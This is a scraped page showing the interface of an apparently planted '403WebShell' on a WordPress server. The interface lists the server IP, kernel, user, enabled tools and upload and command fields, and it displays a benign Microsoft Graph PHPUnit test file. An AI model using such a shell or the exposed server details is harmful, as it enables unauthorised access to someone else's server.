Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/tests/Http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/tests/Http/HttpTest.php
<?php
use PHPUnit\Framework\TestCase;
use Microsoft\Graph\Graph;
use Microsoft\Graph\Http\GraphRequest;
use Microsoft\Graph\Exception\GraphException;
use GuzzleHttp\Handler\MockHandler;
use GuzzleHttp\Psr7\Response;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Client;

class HttpTest extends TestCase
{
    public $client;
    public $getRequest;
    public $container;

    public function setUp(): void
    {
        $mock = new MockHandler([
            new Response(200, ['foo' => 'bar']),
            new Response(200, ['foo' => 'bar'])
        ]);
        $this->container = [];
        $history = GuzzleHttp\Middleware::history($this->container);
        $handler = HandlerStack::create($mock);
        $handler->push($history);
        $this->client = new Client(['handler' => $handler]);

        $this->getRequest = new GraphRequest("GET", "/endpoint", "token", "baseUrl", "version");
    }

    public function testGet()
    {
        $response = $this->getRequest->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testPost()
    {
        $request = new GraphRequest("POST", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testPut()
    {
        $request = new GraphRequest("PUT", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testPatch()
    {
        $request = new GraphRequest("PATCH", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testUpdate()
    {
        $request = new GraphRequest("UPDATE", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testDelete()
    {
        $request = new GraphRequest("DELETE", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($this->client);
        $code = $response->getStatus();

        $this->assertEquals("200", $code);
    }

    public function testInvalidVerb()
    {
        $this->expectException(GuzzleHttp\Exception\ClientException::class);

        $mock = new MockHandler([
            new Response(400, ['foo' => 'bar'])
        ]);

        $handler = HandlerStack::create($mock);
        $client = new Client(['handler' => $handler]);

        $request = new GraphRequest("OBLITERATE", "/endpoint", "token", "baseUrl", "version");
        $response = $request->execute($client);
        $code = $response->getStatus();

        $this->assertEquals("400", $code);
    }

    public function testSendJson()
    {
        $body = json_encode(array('1' => 'a', '2' => 'b'));

        $request = $this->getRequest->attachBody($body);
        $this->assertInstanceOf(GraphRequest::class, $request);

        $response = $request->execute($this->client);
        $this->assertInstanceOf(Microsoft\Graph\Http\GraphResponse::class, $response);
        $this->assertEquals($body, $this->container[0]['request']->getBody()->getContents());
    }

    public function testSendArray()
    {
        $body = array('1' => 'a', '2' => 'b');
        $request = $this->getRequest->attachBody($body);
        $this->assertInstanceOf(GraphRequest::class, $request);

        $response = $request->execute($this->client);
        $this->assertInstanceOf(Microsoft\Graph\Http\GraphResponse::class, $response);
        $this->assertEquals(json_encode($body), $this->container[0]['request']->getBody()->getContents());
    }

    public function testSendObject()
    {
        $user = new Microsoft\Graph\Model\User();
        $user->setDisplayName('Bob Barker');
        $request = $this->getRequest->attachBody($user);
        $this->assertInstanceOf(GraphRequest::class, $request);

        $response = $request->execute($this->client);
        $this->assertInstanceOf(Microsoft\Graph\Http\GraphResponse::class, $response);
        $this->assertEquals(json_encode($user->getProperties()), $this->container[0]['request']->getBody()->getContents());
    }

    public function testSendString()
    {
        $body = '{"1":"a","2":"b"}';
        $request = $this->getRequest->attachBody($body);
        $this->assertInstanceOf(GraphRequest::class, $request);

        $response = $request->execute($this->client);
        $this->assertInstanceOf(Microsoft\Graph\Http\GraphResponse::class, $response);
        $this->assertEquals($body, $this->container[0]['request']->getBody()->getContents());
    }

    public function testSendStream()
    {
        $body = GuzzleHttp\Psr7\Utils::streamFor('stream');
        $request = $this->getRequest->attachBody($body);
        $this->assertInstanceOf(GraphRequest::class, $request);

        $response = $request->execute($this->client);
        $this->assertInstanceOf(Microsoft\Graph\Http\GraphResponse::class, $response);
        $this->assertEquals($body, $this->container[0]['request']->getBody()->getContents());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit